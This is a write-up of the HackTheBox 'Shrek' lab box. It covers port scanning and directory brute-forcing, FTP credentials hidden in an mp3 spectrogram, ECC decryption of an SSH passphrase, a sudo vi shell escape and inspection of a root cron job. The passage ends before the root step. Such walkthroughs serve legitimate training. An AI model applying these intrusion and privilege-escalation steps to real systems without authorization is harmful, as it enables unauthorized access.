mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
640 lines
30 KiB
Markdown
640 lines
30 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Shrek Writeup
|
||
|
||
|
||
|
||
## Introduction :
|
||
|
||
Shrek is a hard linux box released back in august 2017
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports.
|
||
|
||
|
||
[ 10.10.14.27/23 ] [ /dev/pts/18 ] [~]
|
||
→ sudo nmap -vvv -sTU -p- 10.10.10.47 --max-retries 0 -Pn --min-rate=500 | grep Discovered
|
||
Discovered open port 80/tcp on 10.10.10.47
|
||
Discovered open port 22/tcp on 10.10.10.47
|
||
Discovered open port 21/tcp on 10.10.10.47
|
||
|
||
|
||
|
||
Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.10.14.27/23 ] [ /dev/pts/18 ] [~]
|
||
→ nmap -sCV -p21,22,80 10.10.10.47
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-10 19:04 BST
|
||
Nmap scan report for 10.10.10.47
|
||
Host is up (0.029s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
21/tcp open ftp vsftpd 3.0.3
|
||
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 2048 2d:a7:95:95:5d:dd:75:ca:bc:de:36:2c:33:f6:47:ef (RSA)
|
||
| 256 b5:1f:0b:9f:83:b3:6c:3b:6b:8b:71:f4:ee:56:a8:83 (ECDSA)
|
||
|_ 256 1f:13:b7:36:8d:cd:46:6c:29:6d:be:e4:ab:9c:24:5b (ED25519)
|
||
80/tcp open http Apache httpd 2.4.27 ((Unix))
|
||
| http-methods:
|
||
|_ Potentially risky methods: TRACE
|
||
|_http-server-header: Apache/2.4.27 (Unix)
|
||
|_http-title: Home
|
||
Service Info: OS: Unix
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 10.10 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan says that port 80 is opened, so let's investigate it:
|
||
|
||
|
||
|
||
|
||
|
||
[ 10.10.14.27/23 ] [ /dev/pts/18 ] [~]
|
||
→ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x "xml,php,html,js,txt" -u http://10.10.10.47/
|
||
===============================================================
|
||
Gobuster v3.0.1
|
||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
|
||
===============================================================
|
||
[+] Url: http://10.10.10.47/
|
||
[+] Threads: 50
|
||
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
||
[+] Status codes: 200,204,301,302,307,401,403
|
||
[+] User Agent: gobuster/3.0.1
|
||
[+] Extensions: txt,xml,php,html,js
|
||
[+] Timeout: 10s
|
||
===============================================================
|
||
2020/08/10 19:08:04 Starting gobuster
|
||
===============================================================
|
||
/images (Status: 301)
|
||
/uploads (Status: 301)
|
||
/upload.php (Status: 200)
|
||
/upload.html (Status: 200)
|
||
/About.html (Status: 200)
|
||
/Index.html (Status: 200)
|
||
/Gallery.html (Status: 200)
|
||
/Sitemap.html (Status: 200)
|
||
/memes (Status: 301)
|
||
/shrek (Status: 301)
|
||
|
||
|
||
|
||
so the interesting webpages here are /uploads.html and /uploads.php:
|
||
|
||
|
||
|
||
When we upload any file there we get redirected to /uploads.php:
|
||
|
||
|
||
|
||
Looking at /uploads we get a directory listing which contains a bunch of malware but the timestamps show us that it's probably not going to help us:
|
||
|
||
|
||
|
||
The interesting file to lookat here is secret_ultimate.php:
|
||
|
||
|
||
|
||
However we don't get to see the php comments, so we hit CTRL+U to view the sourcecode:
|
||
|
||
|
||
|
||
Which hints us to the /secret_area_51/ directory:
|
||
|
||
|
||
|
||
So apparently we get a mp3 containing some music, but the trick here was to inspect the end of the song because there was some extra static in the end after the music fades out:
|
||
|
||
|
||
|
||
The trick here was to inspect this static in Spectogram:
|
||
|
||
|
||
|
||
Here we see something interesting at the top of the stereo channels under spectogram settings we increase the max frequency times 10 which reveals the following message:
|
||
|
||
 
|
||
|
||
And looks like we got ftp credentials! **donkey:d0nk3y1337!** so we login via ftp:
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/5 ] [~/_HTB/Shrek]
|
||
→ ftp 10.10.10.47
|
||
Connected to 10.10.10.47.
|
||
220 (vsFTPd 3.0.3)
|
||
Name (10.10.10.47:nothing): donkey
|
||
331 Please specify the password.
|
||
Password:
|
||
230 Login successful.
|
||
Remote system type is UNIX.
|
||
Using binary mode to transfer files.
|
||
ftp> ls
|
||
200 PORT command successful. Consider using PASV.
|
||
150 Here comes the directory listing.
|
||
-rw-r--r-- 1 0 0 9216 Aug 14 09:01 0a935efe212d455eaba901f743e76a1f.txt
|
||
-rw-r--r-- 1 0 0 7168 Aug 14 09:01 129a5d725798449cbe35c14226c21ec8.txt
|
||
-rw-r--r-- 1 0 0 11264 Aug 14 09:01 173224a539f74d5bbd78bd097884a445.txt
|
||
-rw-r--r-- 1 0 0 15360 Aug 14 09:01 1cf72311c8394b85bee71378452a0627.txt
|
||
-rw-r--r-- 1 0 0 3072 Aug 14 09:01 2d0b3a4e22dc4043976529e9e450839d.txt
|
||
-rw-r--r-- 1 0 0 3072 Aug 14 09:01 2fdfec98b6f54a4bb2c24492804ed23e.txt
|
||
-rw-r--r-- 1 0 0 15360 Aug 14 09:01 3416a6f48fb7407e8bfa58ee7869b4c9.txt
|
||
-rw-r--r-- 1 0 0 15360 Aug 14 09:01 35ed54b85fda4c728e28d043ceff403f.txt
|
||
-rw-r--r-- 1 0 0 7168 Aug 14 09:01 3896633fd0f44d5789df5366050ecc4f.txt
|
||
-rw-r--r-- 1 0 0 14336 Aug 14 09:01 40c2e657bcc54c78be1986e9bb45886a.txt
|
||
-rw-r--r-- 1 0 0 15390 Aug 14 09:01 4328526e95f2406d8af2428b92a3afa8.txt
|
||
-rw-r--r-- 1 0 0 3072 Aug 14 09:01 549fe668212042acbcc96af1758141a4.txt
|
||
-rw-r--r-- 1 0 0 6144 Aug 14 09:01 629ac3a5efe24adaa7b5172f8bda44ca.txt
|
||
-rw-r--r-- 1 0 0 8192 Aug 14 09:01 631385a5a1ce4e46a206f0f0fbdc0808.txt
|
||
-rw-r--r-- 1 0 0 6144 Aug 14 09:01 68b211ee5513471e8b7de17661d18a9d.txt
|
||
-rw-r--r-- 1 0 0 13312 Aug 14 09:01 6aee99ecf1aa4ce78ee8d990e2c91e9a.txt
|
||
-rw-r--r-- 1 0 0 15360 Aug 14 09:01 79947ab62f1a4b959b68ada2b7849ff2.txt
|
||
-rw-r--r-- 1 0 0 5120 Aug 14 09:01 7ef381dce26a488493df64b67f3db3cf.txt
|
||
-rw-r--r-- 1 0 0 5120 Aug 14 09:01 84644e19171e425d8ac6e6e7a1398c46.txt
|
||
-rw-r--r-- 1 0 0 15360 Aug 14 09:01 9c11f948f169414cb4d3cfb607850e58.txt
|
||
-rw-r--r-- 1 0 0 6144 Aug 14 09:01 9de89e29bdb64a5eb69f1a8f344cd85a.txt
|
||
-rw-r--r-- 1 0 0 5120 Aug 14 09:01 a1127bfd922e43f0b0007b147c26e11e.txt
|
||
-rw-r--r-- 1 0 0 7168 Aug 14 09:01 a381c21f0e874439a1a634a940eaf4a9.txt
|
||
-rw-r--r-- 1 0 0 7168 Aug 14 09:01 b26e893ae4b84ca28872fc519c3803fc.txt
|
||
-rw-r--r-- 1 0 0 8192 Aug 14 09:01 b2edd39d22674696a56a7939af2ff917.txt
|
||
-rw-r--r-- 1 0 0 4096 Aug 14 09:01 bf22aa78874249a4a855995884f1daeb.txt
|
||
-rw-r--r-- 1 0 0 7598 Aug 14 09:01 d25fcf2994e14ebf990cf5b9f0b98691.txt
|
||
-rw-r--r-- 1 0 0 12288 Aug 14 09:01 dddedeb00dee439a86f7ac4c583ec700.txt
|
||
-rw-r--r-- 1 0 0 9216 Aug 14 09:01 e415d037bfb74c5fa6d0521ff662de8d.txt
|
||
-rw-r--r-- 1 0 0 15360 Aug 14 09:01 e5598789c60b45cf9f821e130af3b70e.txt
|
||
-rw-r--r-- 1 0 0 6144 Aug 14 09:01 f274007acbbb431185bc1fb3a1a8c5c0.txt
|
||
-rw-r--r-- 1 0 0 1766 Aug 16 2017 key
|
||
|
||
|
||
We retrieve key which is an encrypted private ssh key:
|
||
|
||
|
||
|
||
So instead of getting every file from the ftp service one by one, we'll just use wget:
|
||
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/_HTB/Shrek]
|
||
→ wget -r --user="donkey" --password="d0nk3y1337!" ftp://10.10.10.47/
|
||
--2020-08-14 12:25:21-- ftp://10.10.10.47/
|
||
=> ‘10.10.10.47/.listing’
|
||
Connecting to 10.10.10.47:21... connected.
|
||
Logging in as donkey ... Logged in!
|
||
==> SYST ... done. ==> PWD ... done.
|
||
==> TYPE I ... done. ==> CWD not needed.
|
||
==> PASV ... done. ==> LIST ... done.
|
||
|
||
[...]
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/_HTB/Shrek]
|
||
→ ls -lashR
|
||
.:
|
||
total 3.4M
|
||
4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 14 12:25 .
|
||
4.0K drwxr-xr-x 5 nothing nothing 4.0K Aug 14 11:58 ..
|
||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Aug 14 12:25 10.10.10.47
|
||
4.0K -rw-r--r-- 1 nothing nothing 1.8K Aug 14 12:20 key
|
||
3.4M -rw-r--r-- 1 nothing nothing 3.3M Aug 15 2017 'Smash Mouth - All Star.mp3'
|
||
|
||
./10.10.10.47:
|
||
total 332K
|
||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Aug 14 12:25 .
|
||
4.0K drwxr-xr-x 3 nothing nothing 4.0K Aug 14 12:25 ..
|
||
12K -rw-r--r-- 1 nothing nothing 9.0K Aug 14 09:01 0a935efe212d455eaba901f743e76a1f.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 129a5d725798449cbe35c14226c21ec8.txt
|
||
12K -rw-r--r-- 1 nothing nothing 11K Aug 14 09:01 173224a539f74d5bbd78bd097884a445.txt
|
||
16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 1cf72311c8394b85bee71378452a0627.txt
|
||
4.0K -rw-r--r-- 1 nothing nothing 3.0K Aug 14 09:01 2d0b3a4e22dc4043976529e9e450839d.txt
|
||
4.0K -rw-r--r-- 1 nothing nothing 3.0K Aug 14 09:01 2fdfec98b6f54a4bb2c24492804ed23e.txt
|
||
16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 3416a6f48fb7407e8bfa58ee7869b4c9.txt
|
||
16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 35ed54b85fda4c728e28d043ceff403f.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 3896633fd0f44d5789df5366050ecc4f.txt
|
||
16K -rw-r--r-- 1 nothing nothing 14K Aug 14 09:01 40c2e657bcc54c78be1986e9bb45886a.txt
|
||
16K -rw-r--r-- 1 nothing nothing 16K Aug 14 09:01 4328526e95f2406d8af2428b92a3afa8.txt
|
||
4.0K -rw-r--r-- 1 nothing nothing 3.0K Aug 14 09:01 549fe668212042acbcc96af1758141a4.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 629ac3a5efe24adaa7b5172f8bda44ca.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 8.0K Aug 14 09:01 631385a5a1ce4e46a206f0f0fbdc0808.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 68b211ee5513471e8b7de17661d18a9d.txt
|
||
16K -rw-r--r-- 1 nothing nothing 13K Aug 14 09:01 6aee99ecf1aa4ce78ee8d990e2c91e9a.txt
|
||
16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 79947ab62f1a4b959b68ada2b7849ff2.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 5.0K Aug 14 09:01 7ef381dce26a488493df64b67f3db3cf.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 5.0K Aug 14 09:01 84644e19171e425d8ac6e6e7a1398c46.txt
|
||
16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 9c11f948f169414cb4d3cfb607850e58.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 9de89e29bdb64a5eb69f1a8f344cd85a.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 5.0K Aug 14 09:01 a1127bfd922e43f0b0007b147c26e11e.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 a381c21f0e874439a1a634a940eaf4a9.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 7.0K Aug 14 09:01 b26e893ae4b84ca28872fc519c3803fc.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 8.0K Aug 14 09:01 b2edd39d22674696a56a7939af2ff917.txt
|
||
4.0K -rw-r--r-- 1 nothing nothing 4.0K Aug 14 09:01 bf22aa78874249a4a855995884f1daeb.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 7.5K Aug 14 09:01 d25fcf2994e14ebf990cf5b9f0b98691.txt
|
||
12K -rw-r--r-- 1 nothing nothing 12K Aug 14 09:01 dddedeb00dee439a86f7ac4c583ec700.txt
|
||
12K -rw-r--r-- 1 nothing nothing 9.0K Aug 14 09:01 e415d037bfb74c5fa6d0521ff662de8d.txt
|
||
16K -rw-r--r-- 1 nothing nothing 15K Aug 14 09:01 e5598789c60b45cf9f821e130af3b70e.txt
|
||
8.0K -rw-r--r-- 1 nothing nothing 6.0K Aug 14 09:01 f274007acbbb431185bc1fb3a1a8c5c0.txt
|
||
4.0K -rw-r--r-- 1 nothing nothing 1.8K Aug 16 2017 key
|
||
|
||
|
||
|
||
The idea here is to check the wordcount with the wc command:
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/_HTB/Shrek/10.10.10.47]
|
||
→ wc *.txt
|
||
0 1 9216 0a935efe212d455eaba901f743e76a1f.txt
|
||
0 1 7168 129a5d725798449cbe35c14226c21ec8.txt
|
||
0 1 11264 173224a539f74d5bbd78bd097884a445.txt
|
||
0 1 15360 1cf72311c8394b85bee71378452a0627.txt
|
||
0 1 3072 2d0b3a4e22dc4043976529e9e450839d.txt
|
||
0 1 3072 2fdfec98b6f54a4bb2c24492804ed23e.txt
|
||
0 1 15360 3416a6f48fb7407e8bfa58ee7869b4c9.txt
|
||
0 1 15360 35ed54b85fda4c728e28d043ceff403f.txt
|
||
0 1 7168 3896633fd0f44d5789df5366050ecc4f.txt
|
||
0 1 14336 40c2e657bcc54c78be1986e9bb45886a.txt
|
||
**0 3 15390 4328526e95f2406d8af2428b92a3afa8.txt**
|
||
0 1 3072 549fe668212042acbcc96af1758141a4.txt
|
||
0 1 6144 629ac3a5efe24adaa7b5172f8bda44ca.txt
|
||
0 1 8192 631385a5a1ce4e46a206f0f0fbdc0808.txt
|
||
0 1 6144 68b211ee5513471e8b7de17661d18a9d.txt
|
||
0 1 13312 6aee99ecf1aa4ce78ee8d990e2c91e9a.txt
|
||
0 1 15360 79947ab62f1a4b959b68ada2b7849ff2.txt
|
||
0 1 5120 7ef381dce26a488493df64b67f3db3cf.txt
|
||
0 1 5120 84644e19171e425d8ac6e6e7a1398c46.txt
|
||
0 1 15360 9c11f948f169414cb4d3cfb607850e58.txt
|
||
0 1 6144 9de89e29bdb64a5eb69f1a8f344cd85a.txt
|
||
0 1 5120 a1127bfd922e43f0b0007b147c26e11e.txt
|
||
0 1 7168 a381c21f0e874439a1a634a940eaf4a9.txt
|
||
0 1 7168 b26e893ae4b84ca28872fc519c3803fc.txt
|
||
0 1 8192 b2edd39d22674696a56a7939af2ff917.txt
|
||
0 1 4096 bf22aa78874249a4a855995884f1daeb.txt
|
||
**0 3 7598 d25fcf2994e14ebf990cf5b9f0b98691.txt**
|
||
0 1 12288 dddedeb00dee439a86f7ac4c583ec700.txt
|
||
0 1 9216 e415d037bfb74c5fa6d0521ff662de8d.txt
|
||
0 1 15360 e5598789c60b45cf9f821e130af3b70e.txt
|
||
0 1 6144 f274007acbbb431185bc1fb3a1a8c5c0.txt
|
||
0 35 283084 total
|
||
|
||
|
||
|
||
Here 2 files stand out since they have 3 words each:
|
||
|
||
|
||
|
||
The 2nd word in the first file gives us a username:
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/9 ] [~/_HTB/Shrek/10.10.10.47]
|
||
→ echo 'UHJpbmNlQ2hhcm1pbmc=' | base64 -d
|
||
PrinceCharming
|
||
|
||
|
||
The 2nd file gives us binary data:
|
||
|
||
|
||
|
||
In order to recover the password we have to guess that this is using ECC cryptography, and that we needed to use python3's seccure library:
|
||
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/9 ] [~/_HTB/Shrek/10.10.10.47]
|
||
→ sudo apt install python3-pip
|
||
[sudo] password for nothing:
|
||
Reading package lists... Done
|
||
Building dependency tree
|
||
Reading state information... Done
|
||
The following additional packages will be installed:
|
||
python-pip-whl python3-wheel
|
||
The following NEW packages will be installed:
|
||
python-pip-whl python3-pip python3-wheel
|
||
0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
|
||
Need to get 2,078 kB of archives.
|
||
After this operation, 3,329 kB of additional disk space will be used.
|
||
Do you want to continue? [Y/n] y
|
||
Get:1 http://archive-4.kali.org/kali kali-rolling/main amd64 python-pip-whl all 20.0.2-5kali1 [1,842 kB]
|
||
Get:2 http://archive-4.kali.org/kali kali-rolling/main amd64 python3-wheel all 0.34.2-1 [24.0 kB]
|
||
Get:3 http://archive-4.kali.org/kali kali-rolling/main amd64 python3-pip all 20.0.2-5kali1 [211 kB]
|
||
Fetched 2,078 kB in 1s (1,746 kB/s)
|
||
Selecting previously unselected package python-pip-whl.
|
||
(Reading database ... 311886 files and directories currently installed.)
|
||
Preparing to unpack .../python-pip-whl_20.0.2-5kali1_all.deb ...
|
||
Unpacking python-pip-whl (20.0.2-5kali1) ...
|
||
Selecting previously unselected package python3-wheel.
|
||
Preparing to unpack .../python3-wheel_0.34.2-1_all.deb ...
|
||
Unpacking python3-wheel (0.34.2-1) ...
|
||
Selecting previously unselected package python3-pip.
|
||
Preparing to unpack .../python3-pip_20.0.2-5kali1_all.deb ...
|
||
Unpacking python3-pip (20.0.2-5kali1) ...
|
||
Setting up python3-wheel (0.34.2-1) ...
|
||
Setting up python-pip-whl (20.0.2-5kali1) ...
|
||
Setting up python3-pip (20.0.2-5kali1) ...
|
||
Processing triggers for man-db (2.9.3-2) ...
|
||
Processing triggers for kali-menu (2020.3.2) ...
|
||
Scanning processes...
|
||
Scanning processor microcode...
|
||
Scanning linux images...
|
||
|
||
Running kernel seems to be up-to-date.
|
||
|
||
The processor microcode seems to be up-to-date.
|
||
|
||
No services need to be restarted.
|
||
|
||
No containers need to be restarted.
|
||
|
||
No user sessions are running outdated binaries.
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/9 ] [~/_HTB/Shrek/10.10.10.47]
|
||
→ pip3 install seccure
|
||
Collecting seccure
|
||
Downloading seccure-0.5.0.tar.gz (40 kB)
|
||
|████████████████████████████████| 40 kB 1.0 MB/s
|
||
Collecting gmpy2>=2
|
||
Downloading gmpy2-2.0.8.zip (280 kB)
|
||
|████████████████████████████████| 280 kB 2.0 MB/s
|
||
Collecting pycryptodome
|
||
Downloading pycryptodome-3.9.8-cp38-cp38-manylinux1_x86_64.whl (13.7 MB)
|
||
|████████████████████████████████| 13.7 MB 7.0 MB/s
|
||
Requirement already satisfied: six>=1.2 in /usr/lib/python3/dist-packages (from seccure) (1.15.0)
|
||
Building wheels for collected packages: seccure, gmpy2
|
||
Building wheel for seccure (setup.py) ... done
|
||
Created wheel for seccure: filename=seccure-0.5.0-py3-none-any.whl size=40750 sha256=99e3b0dbd16cb3c1eb87b2049ac5d24e70b803086078c97f634ba874f9b519b3
|
||
|
||
|
||
Then we run it like so:
|
||
|
||
|
||
python3
|
||
Python 3.8.3rc1 (default, Aug 14 2020, 11:45:56)
|
||
[GCC 9.3.0] on linux
|
||
Type "help", "copyright", "credits" or "license" for more information.
|
||
>>> import seccure
|
||
>>> cipher = b'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(\xf7\xe9\xa5\xc1KT\x9aI\xdd\\!\x95t\xe1\xd6p\xaa"u2\xc2\x85F\x1e\xbc\x00\xb9\x17\x97\xb8\x0b\xc5y\xec>> password = b'PrinceCharming'
|
||
>>> seccure.decrypt(cipher, password)
|
||
b'The password for the ssh file is: shr3k1sb3st! and you have to ssh in as: sec\n'
|
||
|
||
|
||
And there we have credentials! sec:shr3k1sb3st!
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Shrek]
|
||
→ cat key
|
||
-----BEGIN RSA PRIVATE KEY-----
|
||
Proc-Type: 4,ENCRYPTED
|
||
DEK-Info: AES-128-CBC,94DC7309349E17F8ED6776ED69D6265A
|
||
|
||
rx7VJS6fzctpfTQ16y9M2CYG701eIh3nDQND+MSFAMSD8JiElqiIH7yA6TpXKPPx
|
||
A9gcxf1qlezc3XIhQpsLN9tLJpOxWYMniUo06/7k+2vWO6AzX27hVPRk1vk9OTWG
|
||
gRe856uaS8WfQ3XxehHNk1bu710HzBSwZn/XNbHsNo74Bpol8MTm2BTjvnuxnFY8
|
||
tvw53nbXMQffBmrwBTvc5aaCk/C0LfvemSxLAgAwMACNpbPmdw9NkUxRDbL/93Q1
|
||
ZYMlFxiXhLgFWQFdW/u2WURmOcIuAHd1V8gWIvY10IpH7o4nXaCI4D8PUmnIDt2N
|
||
k6Q3Znnfe8BrzFlD1NdG5SfHNdNUn5N9DROk0cZsL+D9e9bQb5CoyL2ioL9fEeRv
|
||
4J5w2ZnIHStAez+Za11WGcZsW3jk2eXGPZiD99k5GcazWQ60dv5dUR6J5fkxaibi
|
||
unqmN2tDaKReT7aT4Im6pLUscN8t2w8dprgsD/EbMsPr0X/TqOShXXhMUhk/9SAY
|
||
2Rvudp97fqYHugIch4lZdDpYS//KRwzO+wQOQARX0tJ0DJ++lY6WNM/BD6+HUk+v
|
||
2c3ziM7DL4i7zhA0qnc8796Nxs8D/QTUWjmcNQhcOM4rAYsmyRqyoVe3ciadKWmk
|
||
vfwBJYxCwE9I9qUfZS3TsEYdbLE4MjlFB+Zn+fYpyA950hVFDxvu+E8zIcSYA0bJ
|
||
GAra2vH/xgmEoptYqeav/sstisJOYPW1Ui3K5C9E0QMH2MRReZoHlToCSNwUOWRo
|
||
rY1z3UZMyV5qw3VsuOk+n81P2npyP0RYo6xjAQW/1uN01LPi6y79j/3k9L35N7pH
|
||
vJHACTHa1bgCGkYGYm75DRIPYqJKs8g3htPHTbyfAfybeMBFQFxz3SBSWp8T9yjF
|
||
+WKUWQ2EmUtgC9n04tLf1/SIldvtOvtwyv2LiIzgvtT6DCMoulprRlb+U0iY1kbQ
|
||
lrpUhFtcK1SvC4Z6ebAEoX/jVRWKdbKldr35ECwIiMVNUFhvXwg4JRdmgmeeDga5
|
||
66TSTqupISE7q6MuBfesQItkoiairO36enBvYdifN4/kRFBNXo1ZUTzdKVw6/UVo
|
||
n9tG9Fnk/z/Ee0iuT3PS0xtu6cBaXzFggm1n73honBjJzIJdtDAJ2AFSMJg6F6TJ
|
||
d0BPB0SGfF8rU+s0RjBhr1nE+px9qYKsuPAKkfi/b/EVa5WEacNezUTTKW9v9DjM
|
||
ym/zSi9GMDEczlFO2wthN5MXh0XNzUyQxDAcek1uZyaQd66NXQ0AywQG114+XLx8
|
||
29sJvTuy6PXJs4ZUCno4/7RQnG9mwHtcV2f3ETASTjtsxBVotzfnpB22jgRND1fi
|
||
Ovqy0xbhRUrBhl8MjuE4Ha/ttoKvbDxC6PlVPMfjp3y2sTIDRp7HpAJfKoVMdJ5Y
|
||
9FoWkWhrGkshGMIxyF3YE6cyhy8OOvmoEcNjyusCi1VWJpRxWU9Ml+GUH5gsjdAV
|
||
yiPvEG4LnM4gGeHhn9CZcrFJSYKIS0s+410YQvpECx09LaLBtq5y0QNkIspuKSPB
|
||
UDidMCyboqlc47D6SgNk7WQqut9tFj6PXE3chFFBHGfZ3hF9HnbUWBEiqyvOlAnm
|
||
-----END RSA PRIVATE KEY-----
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Shrek]
|
||
→ chmod 600 key
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Shrek]
|
||
→ ssh -i key sec@10.10.10.47
|
||
The authenticity of host '10.10.10.47 (10.10.10.47)' can't be established.
|
||
ECDSA key fingerprint is SHA256:elYdm7BTN0q3wYoaIdUyw1kBlMFTls2dWHgybMAYav8.
|
||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||
Warning: Permanently added '10.10.10.47' (ECDSA) to the list of known hosts.
|
||
Enter passphrase for key 'key': shr3kisb3st!
|
||
Last login: Thu Oct 1 07:41:33 2020
|
||
[sec@shrek ~]$ id
|
||
uid=1000(sec) gid=100(users) groups=100(users),10(wheel),95(storage),98(power)
|
||
[sec@shrek ~]$ cat user.txt
|
||
d353869dc904f1f38d24fa118b397b19
|
||
|
||
|
||
|
||
and we have the user flag!
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
To get root access onto the box, we need to first privesc from the user sec to farquad:
|
||
|
||
|
||
[sec@shrek ~]$ sudo -l
|
||
User sec may run the following commands on shrek:
|
||
(farquad) NOPASSWD: /usr/bin/vi
|
||
|
||
|
||
Get into vi using the user farquad using sudo -u:
|
||
|
||
|
||
[sec@shrek ~]$ sudo -u farquad vi
|
||
|
||
|
||
Then type in **:!bash** to drop into a shell as farquad:
|
||
|
||
|
||
|
||
[farquad@shrek sec]$ id
|
||
uid=1001(farquad) gid=100(users) groups=100(users),7(lp),10(wheel),91(video),92(audio),93(optical),95(storage)
|
||
|
||
[farquad@shrek sec]$ cd ~
|
||
[farquad@shrek ~]$ ls
|
||
mirror
|
||
[farquad@shrek ~]$ ./mirror
|
||
Mirror, Mirror on the wall who is the most handsome of all?
|
||
Of course you Lord Farquad
|
||
|
||
|
||
There we get a funny binary that mimics the mirror from the shrek movie, one may think this is a binexp challenge but when decompiled we see that it's a rabbit hole, since it prints the message and does nothing else. The idea here was to check out cronjobs (which we can guess from running pspy), which hints us towards a cronjob that is running every 5 minutes.
|
||
|
||
|
||
2020/08/14 08:50:19 CMD: UID=0 PID=1178 | /usr/bin/CROND -n
|
||
2020/08/14 08:50:19 CMD: UID=0 PID=1176 | /usr/bin/CROND -n
|
||
2020/08/14 08:50:19 CMD: UID=0 PID=1179 | /usr/bin/python /root/chown
|
||
2020/08/14 08:50:19 CMD: UID=0 PID=1180 | /bin/sh -c cd /usr/src; /usr/bin/chown nobody:nobody *
|
||
2020/08/14 08:50:19 CMD: UID=0 PID=1181 | /bin/sh -c cd /usr/src; /usr/bin/chown nobody:nobody *
|
||
|
||
|
||
Farquaad's shell is kind of a rabbithole in itself, so back into sec's shell, we try to find files that were modified after the timestamps we find inside sec's home directory:
|
||
|
||
|
||
[sec@shrek ~]$ ls -lash
|
||
total 28K
|
||
4.0K drwx------ 3 sec users 4.0K Aug 15 2017 .
|
||
4.0K drwxr-xr-x 4 root root 4.0K Aug 11 2017 ..
|
||
0 -rw------- 1 root root 0 Aug 22 2017 .bash_history
|
||
4.0K -rw-r--r-- 1 sec users 21 Feb 14 2017 .bash_logout
|
||
4.0K -rw-r--r-- 1 sec users 57 Feb 14 2017 .bash_profile
|
||
4.0K -rw-r--r-- 1 sec users 141 Feb 14 2017 .bashrc
|
||
4.0K drwxr-xr-x 2 root root 4.0K Aug 16 2017 .ssh
|
||
4.0K -r--r--r-- 1 root root 33 Aug 22 2017 user.txt
|
||
|
||
[sec@shrek ~]$ find / -newermt 2017-08-20 ! -newermt 2017-08-24 -ls 2>/dev/null
|
||
16385 4 drwxr-xr-x 46 root root 4096 Aug 21 2017 /etc
|
||
18518 4 -rw-r--r-- 1 root root 6 Aug 23 2017 /etc/hostname
|
||
27466 4 drwxr-xr-x 5 root root 4096 Aug 23 2017 /etc/netctl
|
||
18515 4 -rw-r--r-- 1 root root 389 Aug 23 2017 /etc/netctl/static
|
||
35103 8 -rw-r--r-- 1 root root 4606 Aug 21 2017 /etc/vsftpd.conf
|
||
131506 4 drwxr-xr-x 4 root root 4096 Aug 23 2017 /etc/systemd/system
|
||
138139 4 -rw-r--r-- 1 root root 196 Aug 23 2017 /etc/systemd/system/netctl@static.service
|
||
131581 4 drwxr-xr-x 2 root root 4096 Aug 23 2017 /etc/systemd/system/multi-user.target.wants
|
||
138140 0 lrwxrwxrwx 1 root root 41 Aug 23 2017 /etc/systemd/system/multi-user.target.wants/netctl@static.service -> /etc/systemd/system/netctl@static.service
|
||
33988 4 -rw------- 1 root root 929 Aug 21 2017 /etc/shadow
|
||
33931 4 -rw-r--r-- 1 root root 968 Aug 21 2017 /etc/passwd
|
||
131255 4 drwxr-x--- 3 root root 4096 Aug 22 2017 /root
|
||
